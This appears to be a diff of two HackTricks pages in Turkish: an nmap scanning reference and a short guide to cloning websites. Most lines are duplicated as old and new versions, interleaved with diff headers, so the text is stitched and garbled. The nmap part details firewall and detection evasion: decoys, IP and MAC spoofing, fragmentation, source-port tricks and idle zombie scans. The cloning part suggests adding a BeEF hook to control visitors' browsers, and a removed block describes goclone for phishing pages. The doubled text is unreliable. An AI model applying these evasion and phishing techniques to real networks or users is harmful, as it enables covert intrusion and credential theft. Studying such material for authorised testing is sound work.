* **`-PO <protocols>`**: Başlıkta bir protokol belirtilir, varsayılan olarak 1(ICMP), 2(IGMP) ve 4(Encap IP). ICMP, IGMP, TCP (6) ve UDP (17) protokolleri için protokol başlıkları gönderilir, geri kalanlar için yalnızca IP başlığı gönderilir. Amacı, başlıkların bozulmasından dolayı, Protokol ulaşılamaz veya aynı protokolün yanıtları ile cevap verilir ve hedefin aktif olup olmadığı bilinir.
* **`-n`**: DNS yok
* **`-R`**: Her zaman DNS
### Port tarama teknikleri
* **`-sS`**: Bağlantıyı tamamlamaz, bu nedenle iz bırakmaz, kullanılabilirse çok iyidir.(yetkiler) Varsayılan olarak kullanılan budur.
* **`-sS`**: Bağlantıyı tamamlamaz, bu nedenle iz bırakmaz, kullanılabilirse çok iyidir (yetkiler) Varsayılan olarak kullanılan budur.
* **`-sT`**: Bağlantıyı tamamlar, bu nedenle iz bırakır, ancak kesin olması için kullanılabilir. Varsayılan olarak yetkisiz.
* **`-sU`**: Daha yavaş, UDP için. Genellikle: DNS(53), SNMP(161,162), DHCP(67 ve 68), (-sU53,161,162,67,68): açık(yanıt), kapalı(port ulaşılamaz), filtrelenmiş (başka bir ICMP), açık/filtrelenmiş (hiçbir şey). Açık/filtrelenmiş durumunda, -sV, nmap'ın desteklediği sürümlerden herhangi birini tespit etmek için birçok istek gönderir ve gerçek durumu tespit edebilir. Zamanı oldukça artırır.
* **`-sY`**: SCTP protokolü bağlantıyı kuramaz, bu nedenle kayıtlar olmaz, -PY gibi çalışır
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, bazı güvenlik duvarlarını aşabilir ve bilgi çıkarabilir. Standart uyumlu makinelerin SYN, RST veya ACK bayrakları içermeyen tüm isteklere RST ile yanıt vermesi gerektiğine dayanırlar: açık/filtrelenmiş(hiçbir şey), kapalı(RST), filtrelenmiş (ICMP ulaşılamaz). Windows, CIsco, BSDI ve OS/400 üzerinde güvenilir değildir. Unix üzerinde evet.
* **`-sM`**: Maimon taraması: FIN ve ACK bayrakları gönderir, şu anda tümünü kapalı olarak döndürecektir.
* **`-sA, sW`**: ACK ve Window, güvenlik duvarlarını tespit etmek için kullanılır, portların filtrelenip filtrelenmediğini bilmek için. -sW, açık/kapalı arasında ayrım yapar çünkü açık olanlar farklı bir pencere değeri ile yanıt verir: açık (pencere sıfır olmayan RST), kapalı (pencere sıfır olan RST), filtrelenmiş (ICMP ulaşılamaz veya hiçbir şey). Tüm bilgisayarlar bu şekilde çalışmaz, bu yüzden eğer hepsi kapalıysa, çalışmıyor demektir, eğer birkaçııksa, düzgün çalışıyor demektir ve eğer birçok açık ve birkaç kapalı varsa, ters şekilde çalışıyor demektir.
* **`-sU`**: Daha yavaş, UDP için. Genellikle: DNS(53), SNMP(161,162), DHCP(67 ve 68), (-sU53,161,162,67,68): açık(cevap), kapalı(port ulaşılamaz), filtrelenmiş (başka bir ICMP), açık/filtrelenmiş (hiçbir şey). Açık/filtrelenmiş durumunda, -sV, nmap'ın desteklediği sürümlerden herhangi birini tespit etmek için birçok istek gönderir ve gerçek durumu tespit edebilir. Zamanı oldukça uzatır.
* **`-sY`**: SCTP protokolü bağlantıyı kuramazsa, bu nedenle kayıtlar olmaz, -PY gibi çalışır
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, bazı güvenlik duvarlarını aşabilir ve bilgi çıkarabilir. Standart uyumlu makinelerin SYN, RST veya ACK bayrakları içermeyen isteklere tümüyle RST ile yanıt vermesi gerektiği varsayımına dayanır: açık/filtrelenmiş(hiçbir şey), kapalı(RST), filtrelenmiş (ICMP ulaşılamaz). Windows, CIsco, BSDI ve OS/400'te güvenilir değildir. Unix'te evet.
* **`-sM`**: Maimon taraması: FIN ve ACK bayrakları gönderir, BSD için kullanılır, şu anda tümünü kapalı olarak döndürecektir.
* **`-sA, sW`**: ACK ve Window, güvenlik duvarlarını tespit etmek için kullanılır, portların filtrelenip filtrelenmediğini bilmek için. -sW, açık/kapalı arasında ayrım yapar çünkü açıklar farklı bir pencere değeri ile yanıt verir: açık (pencere değeri 0 olmayan RST), kapalı (pencere = 0 RST), filtrelenmiş (ICMP ulaşılamaz veya hiçbir şey). Tüm bilgisayarlar bu şekilde çalışmaz, bu yüzden eğer hepsi kapalıysa, çalışmıyor demektir, eğer birkaçııksa, sorunsuz çalışıyor demektir ve eğer birçok açık ve az kapalı varsa, ters şekilde çalışıyor demektir.
* **`-sI`:** Boşta tarama. Eğer aktif bir güvenlik duvarı varsa ve belirli bir IP'yi filtrelemediğini biliyorsak (veya sadece anonimlik istiyorsak) zombi tarayıcıyı kullanabiliriz (tüm portlar için çalışır), olası zombileri bulmak için ipidseq betiği veya exploit auxiliary/scanner/ip/ipidseq kullanabiliriz. Bu tarayıcı, IP paketlerinin IPID numarasına dayanır.
* **`--badsum`:** Yanlış toplam gönderir, bilgisayarlar paketleri reddeder, ancak güvenlik duvarları bir şeyler yanıtlayabilir, güvenlik duvarlarını tespit etmek için kullanılır.
* **`-sZ`:** "Garip" SCTP tarayıcı, çerez yankısı parçalarıyla probeler gönderirken açıksa düşürülmeli veya kapalıysa ABORT ile yanıtlanmalıdır. Init'ten geçmeyen güvenlik duvarlarından geçebilir, kötü olan şey, filtrelenmiş ile açık arasında ayrım yapmamasıdır.
* **`-sO`:** Protokol Ip taraması. Bazı durumlarda hatta protokol bile ayırt edilemeyen yanlış ve boş başlıklar gönderir. Eğer ICMP ulaşılamaz protokol gelirse kapalıdır, eğer ulaşılamaz port gelirse açıktır, eğer başka bir hata gelirse filtrelenmiştir, eğer hiçbir şey gelmezse, açık|filtrelenmiştir.
* **`-b <server>`:** FTPhost--> Bir makineden başka bir makineyi taramak için kullanılır, bunu yapmak için başka bir makinenin ftp'sine bağlanarak istediğiniz portlara dosya göndermesini istersiniz, yanıtlara göre açık olup olmadıklarını bileceksiniz. \[\<user>:\<password>@]\<server>\[:\<port>] Neredeyse tüm ftp sunucuları artık buna izin vermez ve bu nedenle pratikte pek kullanışlı değildir.
* **`--badsum`:** Yanlış toplam gönderir, bilgisayarlar paketleri reddeder, ancak güvenlik duvarları bir şeyler cevaplayabilir, güvenlik duvarlarını tespit etmek için kullanılır.
* **`-sZ`:** "Garip" SCTP tarayıcı, cookie echo parçaları ile probeler gönderirken açıksa düşürülmeleri veya kapalıysa ABORT ile yanıtlanmaları gerekir. Init'in geçemediği güvenlik duvarlarından geçebilir, kötü olan, filtrelenmiş ve açık arasında ayrım yapmaz.
* **`-sO`:** Protokol Ip taraması. Bazı durumlarda protokol bile ayırt edilemeyen yanlış ve boş başlıklar gönderir. Eğer ulaşılamaz protokol ICMP gelirse kapalıdır, ulaşılamaz port gelirse açıktır, başka bir hata gelirse filtrelenmiştir, hiçbir şey gelirse açık/filtrelenmiştir.
* **`-b <server>`:** FTPhost--> Bir makineden başka bir makinenin bağlantısını kullanarak bir ana bilgisayarı taramak için kullanılır, bu, başka bir makinenin ftp'sine bağlanarak ve başka bir makineden taramak istediğiniz bağlantılara dosya göndermesini isteyerek yapılır, yanıtlara göre açık olup olmadıklarını bileceğiz. \[\<user>:\<password>@]\<server>\[:\<port>] Artık neredeyse tüm ftp sunucuları buna izin vermez ve bu nedenle pratikte pek kullanışlı değildir.
### **Merkezi analiz**
**-p:** Tarama yapılacak portları belirtmek için kullanılır. 65335'i seçmek için: **-p-** veya **-p all**. Nmap'in popülerliğine göre dahili bir sıralaması vardır. Varsayılan olarak ilk 1000'i kullanır. **-F** (hızlı tarama) ile ilk 100'ü tarar. **--top-ports \<numero>** Belirtilen sayıda ana portu (1'den 65335'e kadar) tarar. Portları rastgele sırayla kontrol eder, bunu önlemek için **-r** kullanılır. Ayrıca portları seçebiliriz: 20-30,80,443,1024- Bu sonuncusu, 1024'ten sonrasına bakacağı anlamına gelir. Ayrıca portları protokollere göre gruplayabiliriz: U:53,T:21-25,80,139,S:9. Nmap'ın popüler portları arasından bir aralık seçebiliriz: -p \[-1024] nmap-services içinde bulunan 1024'e kadar olan portları tarar. **--port-ratio \<ratio>** Belirli bir oran aralığındaki en yaygın portları tarar, oran 0 ile 1 arasında olmalıdır.
**-p:** Taramak için portları belirtmek için kullanılır. 65335'i seçmek için: **-p-** veya **-p all**. Nmap'ın popülerliğine göre dahili bir sıralaması vardır. Varsayılan olarak ilk 1000'i kullanır. **-F** (hızlı tarama) ile ilk 100'ü tarar. **--top-ports \<number>** Belirtilen sayıda ilk portları tarar (1'den 65335'e kadar). Portları rastgele sırayla kontrol eder, bunu önlemek için **-r** kullanılır. Ayrıca portları seçebiliriz: 20-30,80,443,1024- Bu sonuncusu 1024'ten sonrasına bakacağı anlamına gelir. Ayrıca portları protokollere göre gruplayabiliriz: U:53,T:21-25,80,139,S:9. Nmap'ın popüler portları içinde bir aralık seçebiliriz: -p \[-1024] nmap-services içinde bulunan 1024'e kadar olan portları tarar. **--port-ratio \<ratio>** Belirli bir oran aralığındaki en yaygın portları tarar, oran 0 ile 1 arasında olmalıdır.
**-sV** Sürüm taraması, yoğunluğu 0 ile 9 arasında ayarlanabilir, varsayılan 7.
**--version-intensity \<numero>** Yoğunluğu ayarlarız, daha düşük olduğunda sadece olasılığı yüksek olan sorguları gönderir, ancak tümünü değil. Bu sayede UDP tarama süresini önemli ölçüde kısaltabiliriz.
**--version-intensity \<number>** Yoğunluğu ayarlarız, daha düşükse sadece olasılığı yüksek olan sondaları gönderir, ancak tümünü değil. Bu şekilde UDP tarama süresini önemli ölçüde kısaltabiliriz.
**-O** İşletim sistemi tespiti
**--osscan-limit** Bir ana bilgisayarı iyi taramak için en az bir açık ve bir kapalı port olması gerekmektedir, bu koşul sağlanmazsa ve bu seçeneği belirlediysek, işletim sistemi tahmini yapmaz (zaman kazandırır)
**--osscan-guess** Belirleme mükemmel olmadığında daha fazla çaba harcar
**--osscan-limit** Bir ana bilgisayarı iyi tarayabilmek için en az bir açık ve bir kapalı port olması gerekir, bu koşul sağlanmazsa ve bu seçeneği belirlediysek, işletim sistemi tahmini yapmaz (zaman kazandırır)
**--osscan-guess** Os tespiti mükemmel olmadığında daha fazla çaba harcar
**Scriptler**
@ -81,21 +81,21 @@ Varsayılanları kullanmak için -sC veya --script=default yeterlidir
Mevcut türler: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version ve vuln
* **Auth:** Kimlik doğrulama için mevcut tüm _scriptleri_ çalıştırır
* **Default:** Aracın varsayılan temel _scriptlerini_ çalıştırır
* **Discovery:** _Hedef_ veya kurban hakkında bilgi toplar
* **External:** Harici kaynakları kullanmak için _script_
* **Intrusive:** Kurban veya _hedef_ için müdahaleci olarak kabul edilen _scriptleri_ kullanır
* **Malware:** Zararlı kodlar veya _arka kapılar_ tarafından açık bağlantıları kontrol eder
* **Safe:** Müdahaleci olmayan _scriptleri_ çalıştırır
* **Vuln:** En bilinen zayıflıkları keşfeder
* **All:** Mevcut tüm NSE uzantılı _scriptleri_ çalıştırır
* **Auth:** kimlik doğrulama için mevcut tüm _scriptleri_ çalıştırır
* **Default:** aracın varsayılan temel _scriptlerini_ çalıştırır
* **Discovery:** _hedef_ veya kurban hakkında bilgi toplar
* **External:** harici kaynakları kullanmak için _script_
* **Intrusive:** kurban veya _hedef_ için müdahaleci olarak kabul edilen _scriptleri_ kullanır
* **Malware:** kötü amaçlı yazılım veya _arka kapılar_ tarafından açık bağlantıları kontrol eder
* **Safe:** müdahaleci olmayan _scriptleri_ çalıştırır
* **Vuln:** en bilinen zayıflıkları keşfeder
* **All:** mevcut tüm NSE uzantılı _scriptleri_ çalıştırır
Scriptleri aramak için:
**nmap --script-help="http-\*" -> http- ile başlayanlar**
**nmap --script-help="not intrusive" -> Bu olmayanlar**
**nmap --script-help="not intrusive" -> Bunlar hariç tümü**
**nmap --script-help="default or safe" -> Birinde veya her ikisinde olanlar**
@ -113,15 +113,15 @@ Scriptleri aramak için:
\--script-updatedb
**Bir scripti kullanmak için sadece şunu yazmak yeterlidir: namp --script Script_Adı hedef** --> Scripti yazdığınızda hem script hem de tarayıcı çalıştırılır, bu nedenle tarayıcı seçenekleri de ekleyebiliriz, sadece güvenli olanları çalıştırmak için **"safe=1"** ekleyebiliriz.
**Bir scripti kullanmak için sadece şunu yazmanız yeterlidir: nmap --script Script_Adı hedef** --> Scripti yazdığınızda hem script hem de tarayıcı çalıştırılır, bu nedenle tarayıcı seçenekleri de ekleyebiliriz, sadece güvenli olanları çalıştırmak için **"safe=1"** ekleyebiliriz.
**Zaman Kontrolü**
**Nmap saniye, dakika, ms cinsinden zamanı değiştirebilir:** --host-timeout arguments 900000ms, 900, 900s ve 15m hepsi aynı işi yapar.
Nmap, taranacak toplam host sayısını gruplara böler ve bu grupları bloklar halinde analiz eder, böylece tüm gruplar analiz edilene kadar bir sonraki bloğa geçmez (ve kullanıcıya blok analiz edilene kadar herhangi bir güncelleme alınmaz). Bu nedenle, nmap için büyük gruplar kullanmak daha iyidir. Varsayılan olarak sınıf C'de 256 kullanır.
Nmap, taranacak toplam host sayısını gruplara böler ve bu grupları bloklar halinde analiz eder, tüm gruplar analiz edilene kadar bir sonraki bloğa geçmez (ve kullanıcıya blok analiz edilene kadar herhangi bir güncelleme almaz), bu nedenle nmap için büyük gruplar kullanmak daha iyidir. Varsayılan olarak sınıf C'de 256 kullanır.
Değiştirilebilir: **--min-hostgroup** _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Paralel tarama grup boyutlarını ayarlayın)
Değiştirebilirsiniz\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (Paralel tarama grup boyutlarını ayarlayın)
Paralel tarama sayısını kontrol edebilirsiniz ancak genellikle gerekli değildir (nmap, ağ durumuna göre otomatik kontrolü zaten içerir): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
@ -135,13 +135,13 @@ Her test arasındaki süreyi yavaşlatmak için: **--scan-delay** _**\<zaman>**_
Saniyedeki paket sayısını değiştirebilirsiniz: **--min-rate** _**\<sayı>**_**;** **--max-rate** _**\<sayı>**_
Filtrelenmiş veya kapalı olan birçok portun yanıt vermesi uzun sürebilir, sadeceık olanları ilgilendiriyorsa daha hızlı tarama yapabilirsiniz: **--defeat-rst-ratelimit**
Filtrelenmiş veya kapalı birçok port yanıt vermek için uzun sürebilir, yalnızcaık olanları ilgilendiriyorsa daha hızlı tarama yapabilirsiniz: **--defeat-rst-ratelimit**
Nmap'ın ne kadar agresif olmasını istediğinizi belirlemek için: -T paranoid|sneaky|polite|normal|aggressive|insane
Nmap'ın ne kadar saldırgan olmasını istediğinizi belirlemek için: -T paranoid|sneaky|polite|normal|aggressive|insane
\-T (0-1)
\-T0 --> Sadece bir port taranır ve bir sonraki için 5 dakika beklenir
\-T0 --> Yalnızca bir port taranır ve bir sonraki için 5 dakika beklenir
\-T1 ve T2 --> Çok benzer ancak her test arasında sırasıyla 15 ve 0,4 saniye bekler
@ -155,38 +155,38 @@ Nmap'ın ne kadar agresif olmasını istediğinizi belirlemek için: -T paranoid
Portları kapatır ve paketleri analiz eder.
**-f** Paketleri parçalamak için, varsayılan olarak başlık sonrası 8 baytta parçalar, bu boyutu belirtmek için ..mtu kullanırız (bunu kullanarak -f kullanmayın), ofset 8'in katı olmalıdır. **Sürüm tarama ve scriptler parçalamayı desteklemez**
**-f** Paketleri parçalamak için, varsayılan olarak başlık sonrası 8 bayt parçalar, bu boyutu belirtmek için ..mtu kullanırız (bununla birlikte, -f kullanmayın), ofset 8'in katı olmalıdır. **Sürüm tarama ve scriptler parçalamayı desteklemez**
**-D decoy1,decoy2,BEN** Nmap, başka IP adresleriyle tarama gönderir, böylece kendinizi gizlersiniz. ME'yi listeye eklerseniz, nmap sizi oraya yerleştirir, tamamen gizlenmek için kendinizden önce 5 veya 6 eklemek daha iyidir. RND:\<sayı> ile rastgele IP'ler oluşturabilirsiniz. TCP bağlantısı olmayan sürüm algılayıcılarıyla çalışmaz. Bir ağ içindeyseniz, etkin IP'leri kullanmanız önemlidir, aksi takdirde sizin tek etkin kişi olduğunuzu kolayca anlamak mümkün olur.
**-D decoy1,decoy2,BEN** Nmap, başka IP adresleriyle tarama gönderir, böylece kendinizi gizlersiniz. ME'yi listeye eklerseniz, nmap sizi oraya yerleştirir, sizi tamamen gizlemek için kendinizden önce 5 veya 6 eklemek daha iyidir. RND:\<sayı> ile rastgele IP'ler oluşturabilirsiniz. TCP bağlantısı olmayan sürüm algılayıcılarıyla çalışmaz. Bir ağ içindeyseniz, etkin IP'leri kullanmanız önemlidir, aksi takdirde sizin tek etkin kişi olduğunuzu kolayca anlamak çok kolay olacaktır.
Rastgele IP'ler kullanmak için: nmap-D RND: 10 Hedef_IP
**-S IP** Nmap, IP'nizi alamadığında onu vermeniz gereken yerdir. Ayrıca, başka bir hedefin tarama yaptığını düşündürmek için de kullanılabilir.
**-S IP** Nmap, IP adresinizi alamazsa onu vermeniz gerekir. Ayrıca, başka bir hedefin onları taramakta olduğunu düşündürmek için de kullanılır.
**-e \<arayüz>** Arayüzü seçmek için
Birçok yönetici, her şeyin düzgün çalışması için giriş kapılarınıık bırakır ve başka bir çözüm bulmaktan daha kolaydır. Bu zayıflığı aramak için nmap şunları içerir: **--source-port** _**\<portnumarası>**_**;-g** _**\<portnumarası>**_ _Eşdeğerdir_
Birçok yönetici, her şeyin düzgün çalışması için giriş kapılarınıık bırakır ve başka bir çözüm bulmaktan daha kolaydır. Bu, DNS veya FTP gibi portlar olabilir... Bu zafiyeti aramak için nmap şunları içerir: **--source-port** _**\<portnumarası>**_**;-g** _**\<portnumarası>**_ _Eşdeğerdir_
**--data** _**\<onaltılık dize>**_ Onaltılık metin göndermek için: --data 0xdeadbeef ve --data \xCA\xFE\x09
**--data-string** _**\<dize>**_ Normal metin göndermek için: --data-string "Güvenlik Operasyonları tarafından yapılan tarama, uzantı 7192"
**--data-string** _**\<dize>**_ Normal metin göndermek için: --data-string "Güvenlik Operasyonları tarafından yapılan tarama, uzantı 7192 tarafından"
**--data-length** _**\<sayı>**_ Nmap sadece başlıklar gönderir, bu sayede rastgele oluşturulan belirli bir bayt sayısı ekleriz
**--data-length** _**\<sayı>**_ Nmap yalnızca başlıklar gönderir, bu sayede rastgele oluşturulacak belirli bir bayt sayısı ekleriz
IP paketini tamamen yapılandırmak için **--ip-options**
IP paketini tamamen yapılandırmak için **--ip-options** kullanın
Gönderilen ve alınan paketlerdeki seçenekleri görmek istiyorsanız, --packet-trace belirtin. Nmap ile IP seçeneklerini kullanma hakkında daha fazla bilgi ve örnekler için [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
Gönderilen ve alınan paketlerdeki seçenekleri görmek istiyorsanız, --packet-trace belirtin. Nmap ile IP seçeneklerini kullanma hakkında daha fazla bilgi ve örnek için [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52) adresine bakın.
**--ttl** _**\<değer>**_
**--randomize-hosts** Saldırının daha az belirgin olmasını sağlamak için
**--spoof-mac** _**\<MAC adresi, önek veya üretici adı>**_ Mac adresini değiştirmek için örnekler: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 ve Cisco
**--proxies** _**\<Virgülle ayrılmış proxy URL'leri listesi>**_ Proksileri kullanmak için, bazen bir proxy nmap'in istediği kadar çok bağlantıyıık tutmaz, bu durumda paralelizmi değiştirmek gerekebilir: --max-parallelism
**--spoof-mac** _**\<MAC adresi, önek veya satıcı adı>**_ Mac adresini değiştirmek için örnekler: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 ve Cisco
**--proxies** _**\<Proxy URL'lerinin virgülle ayrılmış listesi>**_ Proxies kullanmak için, bazen bir proxy nmap'in istediği kadar çok bağlantıyıık tutmaz, bu yüzden paralelizmi değiştirmek gerekebilir: --max-parallelism
**-sP** ARP ile ağdaki ana bilgisayarları keşfetmek için
**-sP** ARP ile ağdaki hostları keşfetmek için
Birçok yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin geçmesine izin veren bir güvenlik duvarı kuralı oluşturur (örneğin 20, 53 ve 67 gibi), nmap'e paketlerimizi bu bağlantı noktalarından göndermesini söyleyebiliriz: **nmap --source-port 53 Ip**
Çoğu yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin geçmesine izin veren bir güvenlik duvarı kuralı oluşturur (örneğin 20, 53 ve 67 gibi), nmap'e paketlerimizi bu bağlantı noktalarından göndermesini söyleyebiliriz: **nmap --source-port 53 Ip**
**Çıktılar**
@ -194,7 +194,7 @@ Birçok yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin ge
**-oX dosya** XML çıktısı
**-oS dosya** Script çocukları çıktısı
**-oS dosya** Script kidies çıktısı
**-oG dosya** Grepable çıktı
@ -204,19 +204,19 @@ Birçok yönetici, belirli bir bağlantı noktasından gelen tüm paketlerin ge
**-d seviye** hata ayıklama
**--reason** Ana bilgisayarın ve durumun nedeni
**--reason** Host ve durumun nedeni
**--stats-every zaman** Belirli aralıklarla durumu bildirir
**--packet-trace** Gönderilen paketleri görmek için filtreler belirtilebilir: --version-trace veya --script-trace
**--open** Açık olanları, açık|filtrelenenleri ve filtrelenmeyenleri gösterir
**--open** Açık, açık|filtrelenen ve filtrelenmeyenleri gösterir
**--resume dosya** Özet çıkarır
**Çeşitli**
**-6** ipv6'ya izin verir
**-6** Ipv6'ya izin verir
**-A** -O -sV -sC --traceroute ile aynıdır
@ -234,7 +234,7 @@ p / P Paket izlemeyi aç / kapat
**Vulscan**
Nmap'in bir betiği, alınan hizmet sürümlerini çevrimdışı bir veritabanında (diğer önemli veritabanlarından indirilen) kontrol eder ve olası zayıflıkları döndürür
Nmap betiği, alınan hizmet sürümlerini çevrimdışı bir veritabanında (diğer önemli veritabanlarından indirilen) inceleyen ve olası zayıflıkları döndüren bir betiktir
Kullandığı veritabanları:
@ -251,18 +251,36 @@ Nmap klasörüne indirip kurmak için:
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
Ayrıca veritabanı paketlerini indirip /usr/share/nmap/scripts/vulscan/ klasörüne eklemek gerekecektir
Ayrıca, veritabanlarından paketleri indirmek ve /usr/share/nmap/scripts/vulscan/ klasörüne eklemek gerekecektir
Kullanım:
Hepsini kullanmak için: sudo nmap -sV --script=vulscan TARAMA_YAPILACAK_IP
Hepsini kullanmak için: sudo nmap -sV --script=vulscan TARAMA_EDILEN_HOST
Belirli bir veritabanını kullanmak için: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv TARAMA_YAPILACAK_IP
Belirli bir veritabanını kullanmak için: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv TARAMA_EDILEN_HOST
## Nmap Hizmet taramasını x16 hızlandırma
[**Bu gönderiye**](https://joshua.hu/nmap-speedup-service-scanning-16x) göre, nmap hizmet analizini hızlandırabilirsiniz, tüm **`totalwaitms`** değerlerini **`/usr/share/nmap/nmap-service-probes`** dosyasında **300** ve **`tcpwrappedms`** değerini **200** olarak değiştirerek.
[**Bu gönderiye**](https://joshua.hu/nmap-speedup-service-scanning-16x) göre, nmap hizmet analizini **`/usr/share/nmap/nmap-service-probes`** dosyasındaki tüm **`totalwaitms`** değerlerini **300** ve **`tcpwrappedms`** değerini **200** olarak değiştirerek hızlandırabilirsiniz.
Ayrıca, özellikle tanımlanmamış **`servicewaitms`** değerine sahip probeler varsayılan olarak **`5000`** değerini kullanır. Bu nedenle, her bir probeye değer ekleyebiliriz veya **nmap'i derleyebiliriz** ve [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79) dosyasındaki varsayılan değeri değiştirebiliriz.
Ayrıca, özellikle tanımlanmamış **`servicewaitms`** değerine sahip probeler varsayılan olarak **`5000`** değerini kullanır. Bu nedenle, her bir probeye değer ekleyebiliriz veya **nmap**'i kendimiz derleyerek [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79) dosyasındaki varsayılan değeri değiştirebiliriz.
Eğer `/usr/share/nmap/nmap-service-probes` dosyasındaki **`totalwaitms`** ve **`tcpwrappedms`** değerlerini hiç değiştirmek istemiyorsanız, [ayıklama kodunu](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) düzenleyerek bu değerlerin `nmap-service-probes` dosyasındaki tamamen yok sayılmasını sağlayabilirsiniz.
Eğer **`totalwaitms`** ve **`tcpwrappedms`** değerlerini hiç değiştirmek istemiyorsanız, `/usr/share/nmap/nmap-service-probes` dosyasındaki bu değerlerin tamamen yok sayılmasını sağlayacak şekilde [ayıklama kodunu](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) düzenleyebilirsiniz.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün
* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -1,26 +1,26 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Bazen bir siber saldırı değerlendirmesi için tamamen bir web sitesini **kopyalamak** faydalı olabilir.
Bazen bir siber güvenlik değerlendirmesi için tamamen **bir web sitesini klonlamak** faydalı olabilir.
Kopyalanan web sitesine ayrıca bir BeEF kancası gibi bazı yükler ekleyebilirsiniz, böylece kullanıcının sekmesini "kontrol" edebilirsiniz.
Klonlanmış web sitesine kullanıcının sekmesini "kontrol etmek" için BeEF kancası gibi bazı payload'lar da ekleyebileceğinizi unutmayın.
Bu amaçla kullanabileceğiniz farklı araçlar bulunmaktadır:
@ -29,28 +29,6 @@ Bu amaçla kullanabileceğiniz farklı araçlar bulunmaktadır:
wget -mk -nH
```
## goclone
### Clone a Website
#### Description
The goclone tool allows you to clone a website by providing the URL of the target website. This can be useful for creating phishing pages that mimic legitimate websites to trick users into providing their sensitive information.
#### Usage
```bash
goclone -url <target_website_url>
```
#### Example
```bash
goclone -url https://www.example.com
```
#### Output
The tool will create a clone of the target website and store it locally for further customization and deployment.
```bash
#https://github.com/imthaghost/goclone
goclone <url>
@ -59,21 +37,20 @@ goclone <url>
```bash
#https://github.com/trustedsec/social-engineer-toolkit
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
